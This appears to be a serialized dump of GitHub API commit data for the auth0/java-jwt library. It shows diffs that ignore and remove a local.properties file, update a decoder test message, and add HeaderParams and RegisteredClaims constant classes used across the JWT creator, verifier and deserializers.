J  (64cd536116ffa88ee70ee42bca97745227eebd5cj%J  \https://api.github.com/repos/auth0/java-jwt/commits/64cd536116ffa88ee70ee42bca97745227eebd5cj1J  Qhttps://github.com/auth0/java-jwt/commit/64cd536116ffa88ee70ee42bca97745227eebd5cuastats}(totalK
	additionsK	deletionsKufiles](}(j
J  (e706fbb10345dab046c5eb3f6f4e527f80daf4fafilename
.gitignorestatusmodifiedjmJ  KjnJ  K changesKblob_urlZhttps://github.com/auth0/java-jwt/blob/42155cd5423145e8a628045908c43240935649b0/.gitignoreraw_urlYhttps://github.com/auth0/java-jwt/raw/42155cd5423145e8a628045908c43240935649b0/.gitignorecontents_urllhttps://api.github.com/repos/auth0/java-jwt/contents/.gitignore?ref=42155cd5423145e8a628045908c43240935649b0patch@@ -81,6 +81,7 @@ hs_err_pid*
 build/
 target/
 dependency-reduced-pom.xml
+local.properties
 
 # Ignore Gradle GUI config
 gradle-app.settingu}(j
J  (93e073d46eb4a789676e35bcd79a76067a7d6da5jsJ  local.propertiesjuJ  removedjmJ  K jnJ  KjwJ  KjxJ  `https://github.com/auth0/java-jwt/blob/64cd536116ffa88ee70ee42bca97745227eebd5c/local.propertiesjzJ  _https://github.com/auth0/java-jwt/raw/64cd536116ffa88ee70ee42bca97745227eebd5c/local.propertiesj|J  rhttps://api.github.com/repos/auth0/java-jwt/contents/local.properties?ref=64cd536116ffa88ee70ee42bca97745227eebd5cj~J  X)  @@ -1,12 +0,0 @@
-## This file is automatically generated by Android Studio.
-# Do not modify this file -- YOUR CHANGES WILL BE ERASED!
-#
-# This file must *NOT* be checked into Version Control Systems,
-# as it contains information specific to your local configuration.
-#
-# Location of the SDK. This is only used by Gradle.
-# For customization when using a Version Control System, please read the
-# header note.
-#Fri Dec 02 18:18:12 ART 2016
-ndk.dir=/Users/hernan/Development/Android.SDK/ndk-bundle
-sdk.dir=/Users/hernan/Development/Android.SDKueu(e2a83142c41a65f0c5c24884d6f6ef36d9a7628a}(sha(e2a83142c41a65f0c5c24884d6f6ef36d9a7628anode_idEC_kwDOAQtL0doAKGUyYTgzMTQyYzQxYTY1ZjBjNWMyNDg4NGQ2ZjZlZjM2ZDlhNzYyOGEcommit}(author}(name
Noel Troutemailnoel.trout@avinode.comdate2022-09-30T06:52:13Zu	committer}(jJ  
Noel TroutjJ  noel.trout@avinode.comjJ  2022-09-30T06:52:13Zumessage.Update error message in test to match new codetree}(jJ  (9432debca921126c0627a529385fe00522cbd7d3url^https://api.github.com/repos/auth0/java-jwt/git/trees/9432debca921126c0627a529385fe00522cbd7d3ujJ  `https://api.github.com/repos/auth0/java-jwt/git/commits/e2a83142c41a65f0c5c24884d6f6ef36d9a7628a
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujJ  \https://api.github.com/repos/auth0/java-jwt/commits/e2a83142c41a65f0c5c24884d6f6ef36d9a7628ahtml_urlQhttps://github.com/auth0/java-jwt/commit/e2a83142c41a65f0c5c24884d6f6ef36d9a7628acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e2a83142c41a65f0c5c24884d6f6ef36d9a7628a/commentsjJ  }(loginnoetroidJOP&jJ  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3jJ  #https://api.github.com/users/noetrojJ  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminujJ  }(jJ  noetrojJ  JOP&jJ  MDQ6VXNlcjE5Mjg4MTQzjJ  4https://avatars.githubusercontent.com/u/19288143?v=4jJ  h3jJ  #https://api.github.com/users/noetrojJ  https://github.com/noetrojJ  -https://api.github.com/users/noetro/followersjJ  :https://api.github.com/users/noetro/following{/other_user}jJ  3https://api.github.com/users/noetro/gists{/gist_id}jJ  :https://api.github.com/users/noetro/starred{/owner}{/repo}jJ  1https://api.github.com/users/noetro/subscriptionsjJ  (https://api.github.com/users/noetro/orgsjJ  )https://api.github.com/users/noetro/reposjJ  4https://api.github.com/users/noetro/events{/privacy}jJ  3https://api.github.com/users/noetro/received_eventsjJ  UserjJ  uparents]}(jJ  (13958ad035454d1f0955b19b76d0984888d77de1jJ  \https://api.github.com/repos/auth0/java-jwt/commits/13958ad035454d1f0955b19b76d0984888d77de1jJ  Qhttps://github.com/auth0/java-jwt/commit/13958ad035454d1f0955b19b76d0984888d77de1uastats}(totalK	additionsK	deletionsKufiles]}(jJ  (cc427d60110bde81ff25eb3c4d870887b5135a6cfilename3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javastatusmodifiedjJ  KjJ  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/e2a83142c41a65f0c5c24884d6f6ef36d9a7628a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/e2a83142c41a65f0c5c24884d6f6ef36d9a7628a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=e2a83142c41a65f0c5c24884d6f6ef36d9a7628apatchX  @@ -50,7 +50,7 @@ public void shouldThrowIfLessThan3Parts() {
     @Test
     public void shouldThrowIfMoreThan3Parts() {
         exception.expect(JWTDecodeException.class);
-        exception.expectMessage("The token was expected to have 3 parts, but got 4.");
+        exception.expectMessage("The token was expected to have 3 parts, but got > 3.");
         JWT.decode("this.has.four.parts");
     }
 uau(c82c1500b50010734e3d2336046f82c2504db16f}(sha(c82c1500b50010734e3d2336046f82c2504db16fnode_idEC_kwDOAQtL0doAKGM4MmMxNTAwYjUwMDEwNzM0ZTNkMjMzNjA0NmY4MmMyNTA0ZGIxNmYcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-04-13T18:27:19Zu	committer}(jK  GitHubj	K  noreply@github.comjK  2022-04-13T18:27:19ZumessagejMerge pull request #574 from auth0/expose-claim-header-constants

[SDK-3226] Expose claim header constantstree}(jJ  (7f2817f49af9c1f74109860ae253e16a8a06c008url^https://api.github.com/repos/auth0/java-jwt/git/trees/7f2817f49af9c1f74109860ae253e16a8a06c008ujK  `https://api.github.com/repos/auth0/java-jwt/git/commits/c82c1500b50010734e3d2336046f82c2504db16f
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiVxYHCRBK7hj4Ov3rIwAAjIgIAEO9XxJFVmh8svOSwc6ngZBR
7SfA/EICEciAF8cUvxl4GbVx6/v6tbtj8YnASyNe+cQn2M7ea3saqA1YBvKgPi6Q
MbzlFGNXRUbp+9HFjqNYDTwM/5SqzHO+SKebZdTY4F/1McYfqN7qa/mQkbdv969S
VTsNUPDyfjyi5TI7oHjn09B6MA3YQG+4TYuyms12NNGT1UEcejgWGAMhjqIE2BAH
tRN+i0wkhndYEGmRMPw8zNY4yz+WzdCrO8NNrtW261pulgB0Sf065ksYEeK7waXG
W/8rCIbRJt5odt/v12ebHv7dTEfxjqB41ZEL24AdRD84WVu2SOpPwaDRG/8q/Kk=
=nBRq
-----END PGP SIGNATURE-----
payloadXn  tree 7f2817f49af9c1f74109860ae253e16a8a06c008
parent af04b229327f863cdde7c41c77c076e39a6b3742
parent 035f323dc4e0c4654c661c050843f521028aec21
author Jim Anderson <jim.anderson@auth0.com> 1649874439 -0500
committer GitHub <noreply@github.com> 1649874439 -0500

Merge pull request #574 from auth0/expose-claim-header-constants

[SDK-3226] Expose claim header constantsuujK  \https://api.github.com/repos/auth0/java-jwt/commits/c82c1500b50010734e3d2336046f82c2504db16fhtml_urlQhttps://github.com/auth0/java-jwt/commit/c82c1500b50010734e3d2336046f82c2504db16fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c82c1500b50010734e3d2336046f82c2504db16f/commentsjK  }(login
jimmyjamesidJ7 jK  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jK  'https://api.github.com/users/jimmyjamesj%K  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj
K  }(j*K  web-flowj,K  J/jK  MDQ6VXNlcjE5ODY0NDQ3j.K  4https://avatars.githubusercontent.com/u/19864447?v=4j0K  h3jK  %https://api.github.com/users/web-flowj%K  https://github.com/web-flowj3K  /https://api.github.com/users/web-flow/followersj5K  <https://api.github.com/users/web-flow/following{/other_user}j7K  5https://api.github.com/users/web-flow/gists{/gist_id}j9K  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j;K  3https://api.github.com/users/web-flow/subscriptionsj=K  *https://api.github.com/users/web-flow/orgsj?K  +https://api.github.com/users/web-flow/reposjAK  6https://api.github.com/users/web-flow/events{/privacy}jCK  5https://api.github.com/users/web-flow/received_eventsjEK  UserjGK  uparents](}(jJ  (af04b229327f863cdde7c41c77c076e39a6b3742jK  \https://api.github.com/repos/auth0/java-jwt/commits/af04b229327f863cdde7c41c77c076e39a6b3742j%K  Qhttps://github.com/auth0/java-jwt/commit/af04b229327f863cdde7c41c77c076e39a6b3742u}(jJ  (035f323dc4e0c4654c661c050843f521028aec21jK  \https://api.github.com/repos/auth0/java-jwt/commits/035f323dc4e0c4654c661c050843f521028aec21j%K  Qhttps://github.com/auth0/java-jwt/commit/035f323dc4e0c4654c661c050843f521028aec21uestats}(totalM	additionsK	deletionsKsufiles](}(jJ  (e15877a2ead7ae5e852c9ddb8e0f8a614182c292filename1lib/src/main/java/com/auth0/jwt/HeaderParams.javastatusaddedjeK  KjfK  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javaraw_urlhttps://github.com/auth0/java-jwt/raw/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.java?ref=c82c1500b50010734e3d2336046f82c2504db16fpatchXz  @@ -0,0 +1,29 @@
+package com.auth0.jwt;
+
+/**
+ * Contains constants representing the JWT header parameter names.
+ */
+public final class HeaderParams {
+
+    private HeaderParams() {}
+
+    /**
+     * The algorithm used to sign a JWT.
+     */
+    public static String ALGORITHM = "alg";
+
+    /**
+     * The content type of a JWT.
+     */
+    public static String CONTENT_TYPE = "cty";
+
+    /**
+     * The media type of a JWT.
+     */
+    public static String TYPE = "typ";
+
+    /**
+     * The key ID of a JWT used to specify the key for signature validation.
+     */
+    public static String KEY_ID = "kid";
+}u}(jJ  (cab474f765907aa05b552dfe52e9007967443631jkK  /lib/src/main/java/com/auth0/jwt/JWTCreator.javajmK  modifiedjeK  KjfK  KjoK  KjpK  https://github.com/auth0/java-jwt/blob/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajrK  https://github.com/auth0/java-jwt/raw/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajtK  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=c82c1500b50010734e3d2336046f82c2504db16fjvK  X  @@ -104,7 +104,7 @@ public Builder withHeader(Map<String, Object> headerClaims) {
          * @return this same Builder instance.
          */
         public Builder withKeyId(String keyId) {
-            this.headerClaims.put(PublicClaims.KEY_ID, keyId);
+            this.headerClaims.put(HeaderParams.KEY_ID, keyId);
             return this;
         }
 
@@ -115,7 +115,7 @@ public Builder withKeyId(String keyId) {
          * @return this same Builder instance.
          */
         public Builder withIssuer(String issuer) {
-            addClaim(PublicClaims.ISSUER, issuer);
+            addClaim(RegisteredClaims.ISSUER, issuer);
             return this;
         }
 
@@ -126,7 +126,7 @@ public Builder withIssuer(String issuer) {
          * @return this same Builder instance.
          */
         public Builder withSubject(String subject) {
-            addClaim(PublicClaims.SUBJECT, subject);
+            addClaim(RegisteredClaims.SUBJECT, subject);
             return this;
         }
 
@@ -137,7 +137,7 @@ public Builder withSubject(String subject) {
          * @return this same Builder instance.
          */
         public Builder withAudience(String... audience) {
-            addClaim(PublicClaims.AUDIENCE, audience);
+            addClaim(RegisteredClaims.AUDIENCE, audience);
             return this;
         }
 
@@ -149,7 +149,7 @@ public Builder withAudience(String... audience) {
          * @return this same Builder instance.
          */
         public Builder withExpiresAt(Date expiresAt) {
-            addClaim(PublicClaims.EXPIRES_AT, expiresAt);
+            addClaim(RegisteredClaims.EXPIRES_AT, expiresAt);
             return this;
         }
 
@@ -161,7 +161,7 @@ public Builder withExpiresAt(Date expiresAt) {
          * @return this same Builder instance.
          */
         public Builder withExpiresAt(Instant expiresAt) {
-            addClaim(PublicClaims.EXPIRES_AT, expiresAt);
+            addClaim(RegisteredClaims.EXPIRES_AT, expiresAt);
             return this;
         }
 
@@ -173,7 +173,7 @@ public Builder withExpiresAt(Instant expiresAt) {
          * @return this same Builder instance.
          */
         public Builder withNotBefore(Date notBefore) {
-            addClaim(PublicClaims.NOT_BEFORE, notBefore);
+            addClaim(RegisteredClaims.NOT_BEFORE, notBefore);
             return this;
         }
 
@@ -185,7 +185,7 @@ public Builder withNotBefore(Date notBefore) {
          * @return this same Builder instance.
          */
         public Builder withNotBefore(Instant notBefore) {
-            addClaim(PublicClaims.NOT_BEFORE, notBefore);
+            addClaim(RegisteredClaims.NOT_BEFORE, notBefore);
             return this;
         }
 
@@ -197,7 +197,7 @@ public Builder withNotBefore(Instant notBefore) {
          * @return this same Builder instance.
          */
         public Builder withIssuedAt(Date issuedAt) {
-            addClaim(PublicClaims.ISSUED_AT, issuedAt);
+            addClaim(RegisteredClaims.ISSUED_AT, issuedAt);
             return this;
         }
 
@@ -209,7 +209,7 @@ public Builder withIssuedAt(Date issuedAt) {
          * @return this same Builder instance.
          */
         public Builder withIssuedAt(Instant issuedAt) {
-            addClaim(PublicClaims.ISSUED_AT, issuedAt);
+            addClaim(RegisteredClaims.ISSUED_AT, issuedAt);
             return this;
         }
 
@@ -220,7 +220,7 @@ public Builder withIssuedAt(Instant issuedAt) {
          * @return this same Builder instance.
          */
         public Builder withJWTId(String jwtId) {
-            addClaim(PublicClaims.JWT_ID, jwtId);
+            addClaim(RegisteredClaims.JWT_ID, jwtId);
             return this;
         }
 
@@ -543,9 +543,9 @@ public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCrea
             if (algorithm == null) {
                 throw new IllegalArgumentException("The Algorithm cannot be null.");
             }
-            headerClaims.put(PublicClaims.ALGORITHM, algorithm.getName());
-            if (!headerClaims.containsKey(PublicClaims.TYPE)) {
-                headerClaims.put(PublicClaims.TYPE, "JWT");
+            headerClaims.put(HeaderParams.ALGORITHM, algorithm.getName());
+            if (!headerClaims.containsKey(HeaderParams.TYPE)) {
+                headerClaims.put(HeaderParams.TYPE, "JWT");
             }
             String signingKeyId = algorithm.getSigningKeyId();
             if (signingKeyId != null) {u}(jJ  (8b4639ac254b17793d29d93d58151d27ae81e007jkK  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javajmK  modifiedjeK  KjfK  KjoK  K+jpK  https://github.com/auth0/java-jwt/blob/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javajrK  https://github.com/auth0/java-jwt/raw/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javajtK  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=c82c1500b50010734e3d2336046f82c2504db16fjvK  Xh  @@ -3,7 +3,6 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.*;
 import com.auth0.jwt.impl.JWTParser;
-import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.impl.ExpectedCheckHolder;
@@ -71,13 +70,13 @@ public static class BaseVerification implements Verification {
         @Override
         public Verification withIssuer(String... issuer) {
             List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
-            addCheck(PublicClaims.ISSUER, ((claim, decodedJWT) -> {
+            addCheck(RegisteredClaims.ISSUER, ((claim, decodedJWT) -> {
                 if (verifyNull(claim, value)) {
                     return true;
                 }
                 if (value == null || !value.contains(claim.asString())) {
                     throw new IncorrectClaimException(
-                            "The Claim 'iss' value doesn't match the required issuer.", PublicClaims.ISSUER, claim);
+                            "The Claim 'iss' value doesn't match the required issuer.", RegisteredClaims.ISSUER, claim);
                 }
                 return true;
             }));
@@ -86,21 +85,21 @@ public Verification withIssuer(String... issuer) {
 
         @Override
         public Verification withSubject(String subject) {
-            addCheck(PublicClaims.SUBJECT, (claim, decodedJWT) ->
+            addCheck(RegisteredClaims.SUBJECT, (claim, decodedJWT) ->
                     verifyNull(claim, subject) || subject.equals(claim.asString()));
             return this;
         }
 
         @Override
         public Verification withAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
-            addCheck(PublicClaims.AUDIENCE, ((claim, decodedJWT) -> {
+            addCheck(RegisteredClaims.AUDIENCE, ((claim, decodedJWT) -> {
                 if (verifyNull(claim, value)) {
                     return true;
                 }
                 if (!assertValidAudienceClaim(decodedJWT.getAudience(), value, true)) {
                     throw new IncorrectClaimException("The Claim 'aud' value doesn't contain the required audience.",
-                            PublicClaims.AUDIENCE, claim);
+                            RegisteredClaims.AUDIENCE, claim);
                 }
                 return true;
             }));
@@ -110,13 +109,13 @@ public Verification withAudience(String... audience) {
         @Override
         public Verification withAnyOfAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
-            addCheck(PublicClaims.AUDIENCE, ((claim, decodedJWT) -> {
+            addCheck(RegisteredClaims.AUDIENCE, ((claim, decodedJWT) -> {
                 if (verifyNull(claim, value)) {
                     return true;
                 }
                 if (!assertValidAudienceClaim(decodedJWT.getAudience(), value, false)) {
                     throw new IncorrectClaimException("The Claim 'aud' value doesn't contain the required audience.",
-                            PublicClaims.AUDIENCE, claim);
+                            RegisteredClaims.AUDIENCE, claim);
                 }
                 return true;
             }));
@@ -133,21 +132,21 @@ public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
         @Override
         public Verification acceptExpiresAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            customLeeways.put(PublicClaims.EXPIRES_AT, leeway);
+            customLeeways.put(RegisteredClaims.EXPIRES_AT, leeway);
             return this;
         }
 
         @Override
         public Verification acceptNotBefore(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            customLeeways.put(PublicClaims.NOT_BEFORE, leeway);
+            customLeeways.put(RegisteredClaims.NOT_BEFORE, leeway);
             return this;
         }
 
         @Override
         public Verification acceptIssuedAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            customLeeways.put(PublicClaims.ISSUED_AT, leeway);
+            customLeeways.put(RegisteredClaims.ISSUED_AT, leeway);
             return this;
         }
 
@@ -159,7 +158,7 @@ public Verification ignoreIssuedAt() {
 
         @Override
         public Verification withJWTId(String jwtId) {
-            addCheck(PublicClaims.JWT_ID, ((claim, decodedJWT) ->
+            addCheck(RegisteredClaims.JWT_ID, ((claim, decodedJWT) ->
                     verifyNull(claim, jwtId) || jwtId.equals(claim.asString())));
             return this;
         }
@@ -297,17 +296,17 @@ public long getLeewayFor(String name) {
         }
 
         private void addMandatoryClaimChecks() {
-            long expiresAtLeeway = getLeewayFor(PublicClaims.EXPIRES_AT);
-            long notBeforeLeeway = getLeewayFor(PublicClaims.NOT_BEFORE);
-            long issuedAtLeeway = getLeewayFor(PublicClaims.ISSUED_AT);
-
-            expectedChecks.add(constructExpectedCheck(PublicClaims.EXPIRES_AT, (claim, decodedJWT) ->
-                    assertValidInstantClaim(PublicClaims.EXPIRES_AT, claim, expiresAtLeeway, true)));
-            expectedChecks.add(constructExpectedCheck(PublicClaims.NOT_BEFORE, (claim, decodedJWT) ->
-                    assertValidInstantClaim(PublicClaims.NOT_BEFORE, claim, notBeforeLeeway, false)));
+            long expiresAtLeeway = getLeewayFor(RegisteredClaims.EXPIRES_AT);
+            long notBeforeLeeway = getLeewayFor(RegisteredClaims.NOT_BEFORE);
+            long issuedAtLeeway = getLeewayFor(RegisteredClaims.ISSUED_AT);
+
+            expectedChecks.add(constructExpectedCheck(RegisteredClaims.EXPIRES_AT, (claim, decodedJWT) ->
+                    assertValidInstantClaim(RegisteredClaims.EXPIRES_AT, claim, expiresAtLeeway, true)));
+            expectedChecks.add(constructExpectedCheck(RegisteredClaims.NOT_BEFORE, (claim, decodedJWT) ->
+                    assertValidInstantClaim(RegisteredClaims.NOT_BEFORE, claim, notBeforeLeeway, false)));
             if (!ignoreIssuedAt) {
-                expectedChecks.add(constructExpectedCheck(PublicClaims.ISSUED_AT, (claim, decodedJWT) ->
-                        assertValidInstantClaim(PublicClaims.ISSUED_AT, claim, issuedAtLeeway, false)));
+                expectedChecks.add(constructExpectedCheck(RegisteredClaims.ISSUED_AT, (claim, decodedJWT) ->
+                        assertValidInstantClaim(RegisteredClaims.ISSUED_AT, claim, issuedAtLeeway, false)));
             }
         }
 u}(jJ  (d60d9fc55d62304c67b1117d9bcc3a9e9860f83djkK  5lib/src/main/java/com/auth0/jwt/RegisteredClaims.javajmK  addedjeK  K0jfK  K joK  K0jpK  https://github.com/auth0/java-jwt/blob/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javajrK  https://github.com/auth0/java-jwt/raw/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javajtK  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.java?ref=c82c1500b50010734e3d2336046f82c2504db16fjvK  X  @@ -0,0 +1,48 @@
+package com.auth0.jwt;
+
+/**
+ * Contains constants representing the name of the Registered Claim Names as defined in Section 4.1.1 of
+ * <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1">RFC 7529</a>
+ */
+public final class RegisteredClaims {
+
+    private RegisteredClaims() {
+    }
+
+    /**
+     * The "iss" (issuer) claim identifies the principal that issued the JWT.
+     */
+    public static String ISSUER = "iss";
+
+    /**
+     * The "sub" (subject) claim identifies the principal that is the subject of the JWT.
+     */
+    public static String SUBJECT = "sub";
+
+    /**
+     * The "aud" (audience) claim identifies the recipients that the JWT is intended for.
+     */
+    public static String AUDIENCE = "aud";
+
+    /**
+     * The "exp" (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be
+     * accepted for processing.
+     */
+    public static String EXPIRES_AT = "exp";
+
+    /**
+     * The "nbf" (not before) claim identifies the time before which the JWT MUST NOT be accepted for processing.
+     */
+    public static String NOT_BEFORE = "nbf";
+
+    /**
+     * The "iat" (issued at) claim identifies the time at which the JWT was issued.
+     */
+    public static String ISSUED_AT = "iat";
+
+    /**
+     * The "jti" (JWT ID) claim provides a unique identifier for the JWT.
+     */
+    public static String JWT_ID = "jti";
+
+}u}(jJ  (9293fd4daf9482ef2518a29cacf3134305e10280jkK  <lib/src/main/java/com/auth0/jwt/impl/HeaderDeserializer.javajmK  modifiedjeK  KjfK  KjoK  K	jpK  https://github.com/auth0/java-jwt/blob/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javajrK  https://github.com/auth0/java-jwt/raw/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javajtK  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.java?ref=c82c1500b50010734e3d2336046f82c2504db16fjvK  X1  @@ -1,5 +1,6 @@
 package com.auth0.jwt.impl;
 
+import com.auth0.jwt.HeaderParams;
 import com.auth0.jwt.exceptions.JWTDecodeException;
 import com.fasterxml.jackson.core.JsonParser;
 import com.fasterxml.jackson.core.type.TypeReference;
@@ -40,10 +41,10 @@ public BasicHeader deserialize(JsonParser p, DeserializationContext ctxt) throws
             throw new JWTDecodeException("Parsing the Header's JSON resulted on a Null map");
         }
 
-        String algorithm = getString(tree, PublicClaims.ALGORITHM);
-        String type = getString(tree, PublicClaims.TYPE);
-        String contentType = getString(tree, PublicClaims.CONTENT_TYPE);
-        String keyId = getString(tree, PublicClaims.KEY_ID);
+        String algorithm = getString(tree, HeaderParams.ALGORITHM);
+        String type = getString(tree, HeaderParams.TYPE);
+        String contentType = getString(tree, HeaderParams.CONTENT_TYPE);
+        String keyId = getString(tree, HeaderParams.KEY_ID);
         return new BasicHeader(algorithm, type, contentType, keyId, tree, objectReader);
     }
 u}(jJ  (37e70f7a96362c1682e0f2e9739c50fd9f6befeajkK  =lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javajmK  modifiedjeK  KjfK  KjoK  KjpK  https://github.com/auth0/java-jwt/blob/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javajrK  https://github.com/auth0/java-jwt/raw/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javajtK  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=c82c1500b50010734e3d2336046f82c2504db16fjvK  X\  @@ -1,5 +1,6 @@
 package com.auth0.jwt.impl;
 
+import com.auth0.jwt.RegisteredClaims;
 import com.auth0.jwt.exceptions.JWTDecodeException;
 import com.auth0.jwt.interfaces.Payload;
 import com.fasterxml.jackson.core.JsonParser;
@@ -43,13 +44,13 @@ public Payload deserialize(JsonParser p, DeserializationContext ctxt) throws IOE
             throw new JWTDecodeException("Parsing the Payload's JSON resulted on a Null map");
         }
 
-        String issuer = getString(tree, PublicClaims.ISSUER);
-        String subject = getString(tree, PublicClaims.SUBJECT);
-        List<String> audience = getStringOrArray(tree, PublicClaims.AUDIENCE);
-        Instant expiresAt = getInstantFromSeconds(tree, PublicClaims.EXPIRES_AT);
-        Instant notBefore = getInstantFromSeconds(tree, PublicClaims.NOT_BEFORE);
-        Instant issuedAt = getInstantFromSeconds(tree, PublicClaims.ISSUED_AT);
-        String jwtId = getString(tree, PublicClaims.JWT_ID);
+        String issuer = getString(tree, RegisteredClaims.ISSUER);
+        String subject = getString(tree, RegisteredClaims.SUBJECT);
+        List<String> audience = getStringOrArray(tree, RegisteredClaims.AUDIENCE);
+        Instant expiresAt = getInstantFromSeconds(tree, RegisteredClaims.EXPIRES_AT);
+        Instant notBefore = getInstantFromSeconds(tree, RegisteredClaims.NOT_BEFORE);
+        Instant issuedAt = getInstantFromSeconds(tree, RegisteredClaims.ISSUED_AT);
+        String jwtId = getString(tree, RegisteredClaims.JWT_ID);
 
         return new PayloadImpl(issuer, subject, audience, expiresAt, notBefore, issuedAt, jwtId, tree, objectReader);
